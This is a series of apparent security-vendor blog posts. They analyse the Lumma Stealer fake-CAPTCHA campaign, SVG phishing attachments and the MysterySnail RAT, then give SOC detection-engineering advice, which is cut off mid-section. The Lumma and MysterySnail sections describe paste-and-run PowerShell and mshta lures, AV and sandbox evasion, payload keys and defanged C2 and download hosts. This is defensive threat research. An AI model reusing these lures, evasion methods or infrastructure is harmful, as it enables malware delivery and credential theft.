Lumma delivery usually involves human interaction, such as clicking a link, running malicious commands, etc. Recently, while investigating an incident as part of our incident response services, our Global Emergency Response Team (GERT) encountered Lumma on a customer’s system. The analysis revealed that the incident was triggered by human interaction, namely the user was tricked into executing a malicious command by a fake CAPTCHA page. In this article, we will review in detail how the fake CAPTCHA campaign works and share a list of IoCs that we discovered during our analysis and investigation of the campaign. Although we already described this distribution method in an earlier article, more details about this campaign have been discovered since then.

Lumma Stealer’s distribution vectors

Lumma Stealer’s distribution methods are diverse, using common techniques typically seen in information-stealing malware campaigns. Primary infection vectors include phishing emails with malicious attachments or links, as well as trojanized legitimate applications. These deceptive tactics trick users into executing the malware, which runs silently in the background harvesting valuable data. Lumma has also been observed using exploit kits, social engineering, and compromised websites to extend its reach and evade detection by security solutions. In this article, we’ll focus mainly on the fake CAPTCHA distribution vector.

This vector involves fake verification pages that resemble legitimate services, often hosted on platforms that use Content Delivery Networks (CDNs). These pages typically masquerade as frequently used CAPTCHAs, such as Google reCAPTCHA or Cloudflare CAPTCHA, to trick users into believing they are interacting with a trusted service.

Fake CAPTCHA distribution vectors

Fake CAPTCHA distribution scheme

There are two types of resources used to promote fake CAPTCHA pages:

• Pirated media, adult content, and cracked software sites. The attackers clone these websites and inject malicious advertisements into the cloned page that redirect users to a malicious CAPTCHA.
• Fake Telegram channels for pirated content and cryptocurrencies. The attackers create Telegram channels with names containing keywords related to cryptocurrencies or pirated content, such as software, movies, etc. When a user searches for such content, the fraudulent channels appear at the top of the search. The attackers also use social media posts to lure victims to these channels. When a user joins such a channel, they are prompted to complete an identity verification via a fraudulent “Safeguard Captcha” bot.
  

  Safeguard Captcha bot

  Once the user clicks the Verify button, the bot opens a pop-up page with a fake CAPTCHA.

Fake CAPTCHA page

Users are presented with a pop-up page that looks like a standard CAPTCHA verification, prompting them to click I’m not a robot/Verify/Copy or some similar button. However, this is where the deception begins.

Fake CAPTCHA page examples

Fake page malicious content

When the I’m not a robot/Verify/Copy button is clicked, the user is instructed to perform an unusual sequence:

• Open the Run dialog(Win+R)
• Press Ctrl+V
• Hit Enter

Without the user’s knowledge, clicking the button automatically copies a PowerShell command to the clipboard. Once the user pastes the command into the Run dialog and presses Enter, the system executes the command.

Examples of scripts copied to the clipboard and executed via the Run dialog

The command may vary slightly from site to site and changes every few days, but it is typically used to download Lumma Stealer from a remote server, which is usually a known CDN with a free trial period or a legitimate code hosting and collaboration platform such as GitHub, and begin the malware installation process. Let’s take a closer look at this infection chain using the following command that was executed in our customer’s incident as an example:

Command triggering Lumma’s infection chain

The command is rather simple. It decodes and runs the contents from the remote win15.txt file hosted at https[:]//win15.b-cdn[.]net/win15.txt. The win15.txt file contains a Base64-encoded PowerShell script that then downloads and runs the Lumma Stealer. When decoded, the malicious PowerShell script looks like this:

Contents of win15.txt

The script performs the following actions:

1. Downloads the malware. It downloads the win15.zip file from https[:]//win15.b-cdn[.]net/win15.zip to [User Profile]AppDataRoamingbFylC6zX.zip.
2. Extracts the malware. The downloaded ZIP file is extracted to C:Users[User]AppDataRoaming7oCDTWYu, a hidden folder under the user’s AppData directory.
3. Executes the malware. The script runs the Set-up.exe file from the unpacked archive, which is now located at C:Users[User]AppDataRoaming7oCDTWYuSet-up.exe.
4. Establishes persistence mechanism. The script creates an entry in the Windows Registry for persistency, ensuring that the malware runs every time the system starts. The registry key is added under HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun. The key name is 5TQjtTuo, with the value pointing to Set-up.exe.

However, in some cases, the malware delivery mechanism can be more complex. In the following example, the delivery script is a JavaScript code hidden in what looks like an .mp3 file (other file formats such as .mp4 and .png have also been used). In fact, in addition to the JavaScript, the file may contain a corrupt .mp3/.mp4 file, legitimate software code, or just random data.

The script is executed using the Microsoft HTML Application engine mshta.exe by prompting the user to paste the following command into the Run dialog box:

Command triggering JS-based infection chain

The mshta command parses the file as an HTA file (Microsoft HTML Application) and executes any JavaScript code within the <script> tag, triggering the following infection chain:

Layer (1)

The JS script inside the .mp3 file is executed by mshta.

JS script within the never.mp3 file

Layer (2)

After calculating the Kwb value, the following script is obtained, which is then executed by the eval function.

Layer (2) JS script

Layer (3)

After calculating the values for kXN and zzI, the final ActiveX command is built and executed. It contains an encoded PowerShell script in the $PBwR variable.

Deobfuscated Layer (2) JS script

Layer (4)

After decoding the PowerShell script, we found that its main purpose is to download and execute another PowerShell file from the C2 path hXXps://connect[.]klipfuzj[.]shop/firefire[.]png.

Decrypted Layer (3) PowerShell script

Analysis for firefire.png

The file firefire.png is a huge PowerShell file (~31MB) with several layers of obfuscation and anti-debugging. After deobfuscating and removing unnecessary code, we could see that the main purpose of the file is to generate and execute an encrypted PowerShell script as follows:

firefire.png

The decryption key is the output of the Invoke-Metasploit command, which is blocked if the AMSI is enabled. As a result, an error message is generated by the AMSI: AMSI_RESULT_NOT_DETECTED, which is used as the key. If the AMSI is disabled, the malware will fail to decrypt the script.

The decrypted PowerShell script is approximately 1.5MB in size and its main purpose is to create and run a malicious executable file.

Decrypted PowerShell script

Infection methods and techniques

Lumma Stealer has been observed in the wild using a variety of infection methods, with two primary techniques standing out in its distribution campaigns: DLL sideloading and injection of a malicious payload into the overlay section of legitimate free software. These techniques are particularly effective at evading detection because they exploit the trust that users place in widely used applications and system processes.

• DLL sideloading

  DLL sideloading is a well-known technique where malicious dynamic link libraries (DLLs) are loaded by a legitimate application. This technique exploits vulnerabilities or misconfigurations in software that inadvertently load DLL files from untrusted directories. Attackers can drop the Lumma Stealer DLL in the same directory as a trusted application, causing it to load when the application is executed. Because the malicious DLL is loaded in the context of a trusted process, it is much harder for traditional security measures to detect the intrusion.

• Injection of malicious payload into the overlay section of software

  Another method commonly used by Lumma Stealer is to inject a malicious payload into the overlay section of free software. The overlay section is typically used for legitimate software functionality, such as displaying graphical interfaces or handling certain input events. By modifying this section of the software, the adversary can inject the malicious payload without disrupting the normal operation of the application. This method is particularly insidious because the software continues to appear legitimate while the malicious code silently executes in the background. It also helps the malware evade detection by security tools that focus on system-level monitoring.

Both of these methods rely on exploiting trusted applications, which significantly increases the chances of successful infection. These techniques can be used in combination with others, such as phishing or trojanized software bundles, to maximize the spread of Lumma Stealer to multiple targets.

Sample analysis

To demonstrate how the Lumma Stealer installers work and the impact on systems and data security, we’ll analyze the stealer sample we found in the incident at our customer. This sample utilizes the overlay injection technique. Below is a detailed breakdown of the infection chain and the various techniques used to deploy and execute Lumma Stealer.

Initial execution and self-extracting RAR (SFX)

The initial payload in this sample is delivered as ProjectorNebraska.exe, which consists of a corrupt legitimate file and the malware in the overlay section. It is executed by the victim. Upon execution, the file extracts and runs a self-extracting RAR (SFX) archive. This archive contains the next stage of the infection: a Nullsoft Scriptable Install System (NSIS) installer. NSIS is a widely used tool for creating Windows installers.

NSIS installer components

The NSIS installer drops several components that are critical to the malware’s execution:

NSIS installer components

These include AutoIt components and an obfuscated batch script loader named Hose.cmd. The following AutoIt components are dropped:

• Fragments of a legitimate AutoIt executable: These are pieces of a genuine AutoIt executable that are dropped to the victim’s system, and then reassembled during the infection process.
• Compiled AutoIt script: The compiled script carries the core functionality of Lumma Stealer, including operations such as credential theft and data exfiltration.

These components are later reassembled into the final executable payload using the batch script loader that concatenates and executes the various fragments.

Hose.cmd orchestrates the final steps of the malware’s execution. Below is a breakdown of its key components (after deobfuscation):

Deobfuscated batch script code

Process tree after executing the batch script

The batch script performs the following actions:

• Security product evasion
  • The script scans for the presence of security software (SecureAnywhere and Quick Heal AntiVirus) using the tasklist If either of them is detected, it delays execution via the ping -n 198 command, which pings localhost 198 times. This trick is used to avoid sandbox detection, as the sandbox typically exits before the script completes the ping task.
  • The script checks for the presence of any of the following: Avast, AVG, McAfee, Bitdefender, Sophos, using the tasklist If one of them is detected, it keeps the executable name for AutoIt as AutoIt3.exe; otherwise, it renames it to Suggests.pif.
• Environment setup and payload preparation. It sets environment variables for the AutoIt executable and the final payload. It also creates a working directory named 195402 in the Temp directory to store malicious components.
• Obfuscation and extraction. The script filters and cleans a file named Sitting from the NSIS installer by removing the string OptimumSlipProfessionalsPerspective, and storing the result as Suggests.pif. It then uses the copy /b command to merge Suggests.pif with an additional component from the NSIS installer named Oclc into the AutoIt executable, saving it again as Suggests.pif.
• Payload assembly. It concatenates multiple files from the NSIS installer: Italy, Holmes, True, etc. to generate the final executable with the name h.a3x, which is an AutoIt script.
• Execution of Lumma Stealer. Finally, the script runs Suggests.pif, which in turn executes h.a3x, triggering the AutoIt-based execution of Lumma Stealer.

AutoIt script analysis

During the analysis, the AutoIt Extractor utility was used to decompile and extract the script from the h.a3x file. The script was heavily obfuscated and required additional deobfuscation to get a clean and analyzable .au3 script. Below is the analysis of the AutoIt loader’s behavior.

AutoIt script extraction

Anti-analysis checks

The script begins by validating the environment to detect analysis tools or sandbox environments. It checks for specific computer names and usernames often associated with testing environments.

Environment validation

It then checks for processes from popular antivirus tools such as Avast (avastui.exe), Bitdefender (bdagent.exe), and Kaspersky (avp.exe).

Anti-AV checks

If any of these conditions are met, the script halts execution to evade detection.

Executing loader shellcode

If the anti-analysis checks are passed, the script dynamically selects 32-bit or 64-bit shellcode based on the system architecture, which is located in the $vinylcigaretteau variable inside the script. To do this, it allocates executable memory and injects the shellcode into it. The shellcode then initializes the execution environment and prepares for the second-stage payload.

Part of the AutoIt loader responsible for the shellcode execution

Processing the $dayjoy payload

After executing the loader shellcode, the script processes the second-stage payload located in the $dayjoy variable. The payload is decrypted using RC4 with a hardcoded key 1246403907690944.

The encrypted payload

To decrypt the payload independently, we wrote a custom Python script that you can see in the screenshot below.

Python script for payload decryption

The decrypted payload is decompressed using the LZNT1 algorithm.

Payload decompression

Final payload execution

After decryption and decompression, the $dayjoy payload is executed in memory. The script uses DllCallAddress to invoke the payload directly in the allocated memory. This ensures the payload is executed stealthily without being written to disk.

Final payload execution

This final payload is the stealer itself. The malware’s comprehensive data theft capabilities target a wide range of sensitive information, including:

• Cryptocurrency wallet credentials (e.g., Binance, Ethereum) and associated browser extensions (e.g., MetaMask)
• Two-factor authentication (2FA) data and authenticator extensions
• Browser-stored credentials and cookies
• Stored credentials from remote access tools such as AnyDesk
• Stored credentials from password managers such as KeePass
• System and application data
• Financial information such as credit card numbers

C2 communication

Once Lumma Stealer is executed, it establishes communication with its command and control (C2) servers to exfiltrate the stolen data. The malware sends the collected information back to the attacker’s infrastructure for further exploitation. This communication is typically performed over HTTP or HTTPS, often disguised as legitimate traffic to avoid detection by network security monitoring tools.

C2 servers identified

The following C2 domains used by Lumma Stealer to communicate with the attackers were identified in the analyzed sample:

• reinforcenh[.]shop
• stogeneratmns[.]shop
• fragnantbui[.]shop
• drawzhotdog[.]shop
• vozmeatillu[.]shop
• offensivedzvju[.]shop
• ghostreedmnu[.]shop
• gutterydhowi[.]shop

These domains are used to receive stolen data from infected systems. Communication with these servers is typically via encrypted HTTP POST requests.

Conclusions

As a mass-distributed malicious program, Lumma Stealer employs a complex infection chain that includes a number of anti-analysis and detection evasion techniques, to stealthily infiltrate the victim’s device. Although the initial infection via dubious pirated software and cryptocurrency-related websites and Telegram channels suggests that individuals are the primary targets of these attacks, we saw Lumma in an incident at one of our customers, which illustrates that organizations can also fall victim to this threat. The information stolen by such malware may end up in the hands of more prominent cybercriminals, such as ransomware operators. That’s why it’s important to prevent stealer infections at the early stages. By understanding the infection techniques, security professionals can better defend against this growing threat and develop more effective detection and prevention strategies.

IoCs

The following list contains the URLs detected during our research. Note that the attackers change the malicious URLs and Telegram channels almost daily, and the IoCs provided in this section were already inactive at the time of writing. However, they may be useful for retrospective threat detection.

Malicious fake CAPTCHA pages

• seenga[.]com/page/confirm.html
• serviceverifcaptcho[.]com
• downloadsbeta[.]com
• intelligenceadx[.]com
• downloadstep[.]com
• nannyirrationalacquainted[.]com
• suspectplainrevulsion[.]com
• streamingsplays[.]com
• bot-detection-v1.b-cdn[.]net
• bot-check-v5.b-cdn[.]net
• spam-verification.b-cdn[.]net
• human-test.b-cdn[.]net
• b-cdn[.]net
• b-cdn[.]net

Telegram channels distributing Lumma

• t[.]me/hitbase
• t[.]me/sharmamod

Read More 

With each passing year, phishing attacks feature more and more elaborate techniques designed to trick users and evade security measures. Attackers employ deceptive URL redirection tactics, such as appending malicious website addresses to seemingly safe links, embed links in PDFs, and send HTML attachments that either host the entire phishing site or use JavaScript to launch it. Lately, we have noticed a new trend where attackers are distributing attachments in SVG format, the kind normally used for storing images.

SVG format

SVG (Scalable Vector Graphics) is a format for describing two-dimensional vector graphics using XML. This is how an SVG file appears when opened in image viewing software.

SVG image

But if you open it in a text editor, you can see the XML markup that describes the image. This markup allows for easy editing of image parameters, eliminating the need for resource-intensive graphics editors.

This is what an SVG file looks like when opened in a text editor

Since SVG is based on XML, it supports JavaScript and HTML, unlike JPEG or PNG. This makes it easier for designers to work with non-graphical content like text, formulas, and interactive elements. However, attackers are exploiting this by embedding scripts with links to phishing pages within the image file.

Sample SVG file with embedded HTML code. The tag introduces HTML markup

Phishing email campaigns leveraging SVG files

At the start of 2025, we observed phishing emails that resembled attacks with an HTML attachment, but instead utilized SVG files.

Phishing email with an SVG attachment

A review of the email’s source code shows that the attachment is identified as an image type.

The file as displayed in the email body

However, opening the file in a text editor reveals that it is essentially an HTML page with no mention of vector graphics.

Code of the SVG file

In a browser, this file appears as an HTML page with a link that supposedly points to an audio file.

SVG file viewed as HTML

Clicking the link redirects the user to a phishing page masquerading as Google Voice.

Phishing page mimicking Google Voice

The audio track at the top of the page is a static image. Clicking “Play Audio” redirects the user to a corporate email login page, allowing attackers to capture their credentials. This page, too, mentions Google Voice. The page also includes the target company’s logo, aiming to lower the user’s guard.

Login form

In a separate instance, mimicking a notification from an e-signature service, attackers presented an SVG attachment as a document that required review and signature.

Phishing e-signature request

Unlike the first example, where the SVG file acted as an HTML page, in this case it contains JavaScript that, when the file is opened, launches a browser window with a phishing site featuring a fake Microsoft login form.

Code of the SVG file

Phishing login form

Statistics

Our telemetry data indicates a significant increase in SVG campaigns during March 2025. We found 2,825 of these emails in just the first quarter of the year.

Emails with SVG attachments, January through March 2025 (download)

In April, the upward trend continued: in the first half of the month, we detected 1324 emails with SVG attachments – more than two-thirds of March’s figure.

Takeaways

Phishers are relentlessly exploring new techniques to circumvent detection. They vary their tactics, sometimes employing user redirection and text obfuscation, and other times, experimenting with different attachment formats. The SVG format provides the capability to embed HTML and JavaScript code within images, which is misused by attackers. Despite not being widespread at the time of this study, SVG attachment attacks are showing a clear upward trend. These attacks, while currently relatively basic – much like HTML attachment scenarios – involve SVG files containing either a phishing link page or a redirection script to a fraudulent site. However, the use of SVG as a container for malicious content can also be employed in more sophisticated targeted attacks.

Read More 

Day after day, threat actors create new malware to use in cyberattacks. Each of these new implants is developed in its own way, and as a result gets its own destiny – while the use of some malware families is reported for decades, information about others disappears after days, months or several years.

We observed the latter situation with an implant that we dubbed MysterySnail RAT. We discovered it back in 2021, when we were investigating the CVE-2021-40449 zero-day vulnerability. At that time, we identified this backdoor as related to the IronHusky APT, a Chinese-speaking threat actor operating since at least 2017. Since we published a blogpost on this implant, there have been no public reports about it, and its whereabouts have remained unknown.

However, recently we managed to spot attempted deployments of a new version of this implant, occurring in government organizations located in Mongolia and Russia. To us, this observed choice of victims wasn’t surprising, as back in 2018, we wrote that IronHusky, the actor related to this RAT, has a specific interest in targeting these two countries. It turned out that the implant has been actively used in cyberattacks all these years although not reported.

Infection through a malicious MMC script

One of the recent infections we spotted was delivered through a malicious MMC script, designed to be disguised as a document from the National Land Agency of Mongolia (ALAMGAC):

Malicious MMC script as displayed in Windows Explorer. It has the icon of a Microsoft Word document

When we analyzed the script, we identified that it is designed to:

• Retrieve a ZIP archive with a second-stage malicious payload and a lure DOCX file from the

  file[.]io

  public file storage.

• Unzip the downloaded archive and place the legitimate DOCX file into the

  %AppData%CiscoPluginsX86binetcUpdate

  folder

• Start the

  CiscoCollabHost.exe

  file dropped from the ZIP archive.

• Configure persistence for the dropped

  CiscoCollabHost.exe

  file by adding an entry to the Run registry key.

• Open the downloaded lure document for the victim.

Intermediary backdoor

Having investigated the

CiscoCollabHost.exe

file, we identified it as a legitimate executable. However, the archive deployed by the attackers also turned out to include a malicious library named

CiscoSparkLauncher.dll

, designed to be loaded by the legitimate process through the DLL Sideloading technique.

We found out that this DLL represents a previously unknown intermediary backdoor, designed to perform C2 communications by abusing the open-source piping-server project. An interesting fact about this backdoor is that information about Windows API functions used by it is located not in the malicious DLL file, but rather in an external file having the

logMYFC.log

relative path. This file is encrypted with a single-byte XOR and is loaded at runtime. It is likely that the attackers introduced this file to the backdoor as an anti-analysis measure – since it is not possible to determine the API functions called without having access to this file, the process of reverse engineering the backdoor essentially turns into guesswork.

By communicating with the legitimate

https://ppng.io

server powered by the

piping-server

project, the backdoor is able to request commands from attackers and send back their execution results. It supports the following set of basic malicious commands:

As we found out, attackers used commands implemented in this backdoor to deploy the following files to the victim machine:

• sophosfilesubmitter.exe

  , a legitimate executable

• fltlib.dll

  , a malicious library to be sideloaded

In our telemetry, these files turned out to leave footprints of the MysterySnail RAT malware, an implant we described back in 2021.

New version of MysterySnail RAT

In observed infection cases, MysterySnail RAT was configured to persist on compromised machines as a service. Its malicious DLL, which is deployed by the intermediary backdoor, is designed to load a payload encrypted with RC4 and XOR, and stored inside a file named

attach.dat

. When decrypted, it is reflectively loaded using DLL hollowing with the help of code implemented inside the run_pe library.

Just as the version of MysterySnail RAT we described in 2021, the latest version of this implant uses attacker-created HTTP servers for communication. We have observed communications being performed with the following servers:

• watch-smcsvc[.]com
• leotolstoys[.]com
• leotolstoys[.]com

Having analyzed the set of commands implemented in the latest version of this backdoor, we identified that it is quite similar to the one implemented in the 2021 version of MysterySnail RAT – the newly discovered implant is able to accept about 40 commands, making it possible to:

• Perform file system management (read, write and delete files; list drives and directories).
• Execute commands via the cmd.exe shell.
• Spawn and kill processes.
• Manage services.
• Connect to network resources.

Compared to the samples of MysterySnail RAT we described in our 2021 article, these commands were implemented differently. While the version of MysterySnail from 2021 implements these commands inside a single malicious component, the newly discovered version of the implant relies on five additional DLL modules, downloaded at runtime, for command execution. These modules are as follows:

However, this transition to a modular architecture isn’t something new – as we have seen modular versions of the MysterySnail RAT deployed as early as 2021. These versions featured the same modules as described above, including the typo in the

ExplorerMoudleDll.dll

module name. Back then, we promptly made information about these versions available to subscribers of our APT Intelligence Reporting service.

MysteryMonoSnail – a repurposed version of MysterySnail RAT

Notably, a short time after we blocked the recent intrusions related to MysterySnail RAT, we observed the attackers to continue conducting their attacks, by deploying a repurposed and more lightweight version of MysterySnail RAT. This version consists of a single component, and that’s why we dubbed it MysteryMonoSnail. We noted that it performed communications with the same C2 server addresses as found in the full-fledged version of MysterySnail RAT, albeit via a different protocol – WebSocket instead of HTTP.

This version doesn’t have as many capabilities as the version of MysterySnail RAT that we described above – it was programmed to have only 13 basic commands, used to list directory contents, write data to files, and launch processes and remote shells.

Obsolete malware families may reappear at any time

Four years, the gap between the publications on MysterySnail RAT, has been quite lengthy. What is notable is that throughout that time, the internals of this backdoor hardly changed. For instance, the typo in the

ExplorerMoudleDll.dll

that we previously noted was present in the modular version of MysterySnail RAT from 2021. Furthermore, commands implemented in the 2025 version of this RAT were implemented similarly to the 2021 version of the implant. That is why, while conducting threat hunting activities, it’s crucial to consider that old malware families, which have not been reported on for years, may continue their activities under the radar. Due to that, signatures designed to detect historical malware families should never be discontinued simply because they are too old.

At Kaspersky’s GReAT team, we have been focusing on detecting complex threats since 2008 – and we provide sets of IoCs for both old and new malware to customers of our Threat Intelligence portal. If you wish to get access to these IoCs and other information about historical and emerging threats, please contact us at intelreports@kaspersky.com.

Read More 

Security operations centers (SOCs) exist to protect organizations from cyberthreats by detecting and responding to attacks in real time. They play a crucial role in preventing security breaches by detecting adversary activity at every stage of an attack, working to minimize damage and enabling an effective response. To accomplish this mission, SOC operations can be broken down into four operating phases:

Each of these operating phases has a distinct role to play, and well-defined processes or procedures ensure a seamless handover of findings from one phase to the next. In practice, SOC processes and procedures at each operational phase often require continuous improvement over time.

Assessment observations: Common SOC issues

During our involvement in SOC technical assessments, adversary emulations, and incident response readiness projects across different regions, we evaluated each operating phase separately. Based on our assessments, we observed common challenges, weak practices, and recurring issues across these four key SOC capabilities.

Log collection

There are three main issues we have observed at this stage:

• Lack of visibility coverage based on the MITRE DETT&CT framework – customers do not practice maintaining a visibility coverage matrix. Instead, they often maintain log source data as an Excel or similar spreadsheet that is not easily tracked. This means they don’t have a systematic approach to what data they are feeding into the SIEM and which TTPs can be detected in their environment. And in most cases, maintaining a continuous visibility matrix is also a challenge because log sources may disappear over time for a variety of reasons: agent termination, changes in log destination settings, device (e.g., firewall) replacement. This only leads to the degradation of the log visibility matrix.
• Inefficient use of data for correlation – in many cases, relevant data is available to detect threats, but there are no correlation rules in place to leverage it for threat detection.
• Correlation exists, but lacks the necessary data fields – while some rule sets are properly configured with the right logic to detect threats, the required data fields from log sources are missing, preventing the rules from being triggered. This critical issue can only be detected through a data quality assessment.

Detection

At this stage, we have seen the following issues during assessment procedures:

• Over-reliance on vendor-provided rules – many customers rely heavily on the default rule sets in their SIEM and only tune them when alerts are triggered. Since the default content is not optimized, it often generates thousands of alerts. This reactive approach leads to excessive alert fatigue, making it difficult for analysts to focus on truly meaningful alerts.
• Lack of detection alignment with the threat profile – the absence of a well-defined organizational threat profile prevents customers from focusing on the threats that are most likely to target them. Instead, they adopt a scattered approach to detection, like shooting in the dark rather than prioritizing relevant threats.
• Poor use of threat intelligence feeds – we have encountered cases where endpoint logs do not contain file hash data. The log sources only provide filenames or file paths, but not the actual hash values, making it difficult for the SOC to correlate threat intelligence (TI) feeds that rely on file hashes. As a result, TI feeds are not operational because the required data field is not ingested into the SIEM.
• Analytics deployment errors – one of the most challenging issues we see is when a well-designed detection rule is deployed incorrectly, causing threat detection to fail despite having the right analytics in place. We have found that there is no structured process for reviewing and validating rule deployments.

Triage and investigation

The most typical issues at this stage are:

• Lack of a documented triage procedure – analysts often rely on generic, high-level response playbooks sourced from the internet, especially from unreliable sources, which slows or hinders the process of qualifying alerts as potential incidents. Without a structured triage procedure, they spend more time investigating each case instead of quickly assessing and escalating threats.
• Unattended alerts – we also observed that many alerts were completely ignored by analysts. This likely stems from either a lack of skill in linking multiple alerts into a single incident, or analysts being swamped with high-severity alerts, causing them to overlook other relevant alerts.
• Difficulty in correlating alerts – as noted in the previous observation, one of the biggest challenges is linking related alerts into a single incident. The lack of alert correlation makes it harder to see the full attack pattern, leading to disorganized alert diagnosis.
• Default use of alert severity – SIEM default rules don’t take into account the context of the target system. Instead, they rely on the default severity in the rule, which is often set randomly or based on an engineer’s opinion without a clear process. This lack of context makes it harder to investigate and properly assess alerts.

Response

The challenges of the final operating phase are most often derived from the issues encountered in the previous stages.

• Challenges in incident scoping – as mentioned earlier, the inability to properly correlate alerts leads to a fragmented understanding of attack patterns. This makes it difficult to see the bigger picture, resulting in inefficient incident handling and misjudged response efforts.
• Increase in unnecessary escalations – this issue is particularly common in MSSP environments, where a lack of understanding of baseline behavior causes analysts to escalate benign cases. Without proper context, normal activities are mistaken for threats, resulting in wasted time and effort.

With these ongoing challenges, chaos will continue in SOC operations. As organizations adopt new security tools such as CASB and container security, both of which generate valuable detection data, and as digital transformation introduces even more technology, security operations will only become more complex, exacerbating these issues.

Taking the right and impactful approach

Enhancing SOC operations requires evaluating each operating phase from an investment perspective, with the detection phase having the greatest impact because it directly affects data quality, threat visibility, incident response efficiency, and the overall effectiveness of the SOC analyst. Investing in detection directly influences all the other operating phases, making it the foundation for improving all operating phases. The detection operating phase must be handled through a dedicated program that ensures log collection is purpose-driven, collecting only the data fields necessary for detection rather than unnecessarily driving up SIEM costs. This focused approach helps define what should be ingested into the SIEM while ensuring meaningful threat visibility.

Strengthening detection reduces false positives and false negatives, improves true positive rates, and enables the identification of attacker activity chains. A documented triage and investigation process streamlines the work of analysts, improving efficiency and reducing response time. Furthermore, effective incident scoping, guided by accurate detection of the cyber kill chain, enables a faster and more precise response. By prioritizing investment in detection and managing it through a structured approach, organizations can significantly improve SOC performance and resilience against evolving threats. This article focuses solely on SIEM-based detection management.

Detection engineering program

Before diving into the program-level approach, we will first present the detection engineering lifecycle that forms the foundation of the proposed program. The image below shows the stages of this lifecycle.

The detection engineering lifecycle shown here is typically followed when building detections, but its implementation often lacks well-defined processes or a dedicated team. A structured program must be put in place to ensure that the SOC’s investment and efforts in detection engineering are used efficiently.

When we talk about a program, it should be built on the following key elements:

• A dedicated team responsible for driving the program
• Well-defined processes and procedures to ensure consistency and effectiveness
• The right tools to integrate with workflows, facilitate output handovers, and enable feedback loops across related processes
• Meaningful metrics to measure the overall performance of the program.

We will discuss these performance measurement metrics in the final section of the article.

1. Team supporting detection engineering program

The key idea behind having a dedicated team is to take full control of the detection engineering (DE) lifecycle, from analysis to release, and ensure accountability for the program’s success. In a traditional SOC setup, deployment and release are often handled by SOC engineers. This can lead to deployment errors due to potential differences in the data models used by DE and SOC teams (raw log data vs. SIEM-optimized data), as well as deployment delays due to the SOC team being overloaded with other tasks. This, in turn, can indirectly impact the work of the detection team. However, the one responsibility that does not fall under the DE team is log onboarding. Since this process requires coordination with other teams, it should continue to be managed by SOC engineers to keep the DE team focused on its core objectives.

The DE team should start with at least three key roles:

The size of the team depends on factors related to the program’s objectives. For example, if the goal is to build a certain number of detection rules per month, the number of detection engineers required will vary accordingly. Similarly, if a certain number of rules need to be tested and deployed within a week, the team size must be adjusted to meet that demand.

The Detection Engineering Lead should communicate with SOC leadership to set the right expectations by outlining what goals can realistically be achieved based on the size and capacity of the DE team. A dedicated Detection QA role can be established as the need for testing, deployment, and release of detections grows.

2. Process and procedures

Well-defined workflows, supported by structured processes and procedures, must be established to streamline detection engineering operations. The following image illustrates the necessary processes and procedures, along with the roles responsible for executing each workflow:

During the qualification process, the Detection Engineering Lead or Detection Engineer may discover that the data source needed to develop a detection is not available. In such cases, they should follow the log management process to request onboarding of the required data before proceeding with detection research and development. The testing process typically checks that the rule works by ensuring that the SIEM triggers an alert based on the required data fields.

Lastly, a validation process that is not part of the detection engineering lifecycle must be incorporated into the detection engineering program to assess its overall effectiveness. Ideally, this validation should be conducted by individuals outside the DE lifecycle or by an external service provider.

Proper planning is required that incorporates threat intelligence and an updated threat profile. In addition, the validation process should generate reports that outline:

• What is working well
• Areas that need improvement
• Detection gaps identified

3. Tools

An essential element of the DE lifecycle is the use of tools to streamline processes and improve efficiency. Key tools include:

• Ticketing platform – efficiently manages workflows, tracks progress from ticket creation to closure, and provides time-based metrics for monitoring.
• Rules repository – platform for managing detection queries and code, supporting Detection-as-Code, using a unified rule format such as SIGMA, and implementing code development best practices in detection engineering, including features such as version control and change management.
• Centralized knowledge base – dedicated space for documenting detection rules, descriptions, research notes, and other relevant information. See the best practices section below for more details on centralized documentation.
• Communication platform – facilitates collaboration among DE team members, integrates with the ticketing system, and provides real-time notification of ticket status or other issues.
• Lab environment – virtualized setup, including SIEM and relevant data sources, tools to simulate attacks for testing purposes. The core function of the lab is to test detection rules prior to release.

Best practices in detection engineering

Several best practices can significantly enhance your detection engineering program. Based on our experience, implementing these best practices will help you effectively manage your rule set while providing valuable support to security analysts.

1. Rule naming convention

When developing analytics or a rule, adhering to a proper naming convention provides a concrete framework. A rule name like “Suspicious file drop detected” may confuse the analyst and force them to dig deeper to understand the context of the alert that was triggered. It would be better to give a rule a name that provides complete context at first glance, such as “Initial Access | Suspicious file drop detected in user directory | Windows – Medium”. This example makes it easy for the analyst to understand:

• At what stage of the attack the rule is triggered. In this case, it is Initial Access as per MITRE / Kill Chain Model.
• Where exactly the file was dropped. In this case, the user directory was the target, which may mean that this probably involved user interaction, which is another sign that the attack was probably detected at an early stage.
• What platform was attacked. In this case, it is Windows, which can help the analyst to quickly find the machine that triggered the alert.
• Lastly, an alert priority can be set, which helps the analyst to prioritize accordingly. For this to work properly, SIEM’s priority levels should be aligned with the rule priorities defined by the detection engineering team. For example, a high priority in SIEM should correspond to a high-priority alert.

A consistent rule naming structure can help the detection engineering team to easily search, sort and manage existing rules, avoid creating duplicates with different names, etc.

The naming structure doesn’t necessarily have to look like the example above. The whole idea of this best practice is to find a good naming convention that not only helps the SOC analyst, but also makes managing detection rules easier and more convenient.

For example, while the rule name “Audit Log Deletion” gives a basic idea of what is happening, a more effective name would be:

[High] – Audit Log Deletion in Internal Server Farm – Linux - Defense Evasion (1070.002).

This provides better context, making it much more useful to the SOC team, and more keywords for the DE team to find this particular rule or filter rules if necessary.

2. Centralized knowledge base

Once a rule is created after thorough research, the detection team should manage it in a centralized platform (a knowledge base). This platform should not only store the rule name and logic, but also other key details. Important elements to consider:

• Rule name/ID/description – rule name, unique ID, and a brief description of the rule.
• Rule type/status – provides insight into the rule type (static, correlated, IoC-based, etc.) and the status (experimental, stable, retired, etc.).
• Severity and confidence – seriousness of the threat triggering this rule and the likelihood of a true positive.
• Research notes – possible public links, threat reports, used as a basis for creating the rule.
• Data components used to detect the behavior – list of source and data fields used to detect activity.
• Triage steps – provides steps to investigate the alert.
• False positives – provides options where the alert could show false positive behavior.
• Tags (CVE, Actors, Malware, etc.) – provide more context if the detection is linked to a behavior or artifact, specific to any APT group, or malware.

Make sure this centralized documentation is accessible to all SOC analysts.

3. Contextual tagging

As covered in the previous best practice, tags provide a great value in understanding the attack chain. That’s why we want to highlight them as a separate best practice.

The tags attached to the above detection rule are the result of the research done on the behavior of the attack when writing the detection rule. They help the analyst gain more context at the time the rule is triggered. In the example above, the analyst may suspect a potential initial access attempt related to QakBot or Black Basta ransomware. This also helps in reporting to security leadership that the SOC team successfully detected the initial ransomware behavior and was able to thwart the attack in the early stages of the kill chain.

4. Triage steps

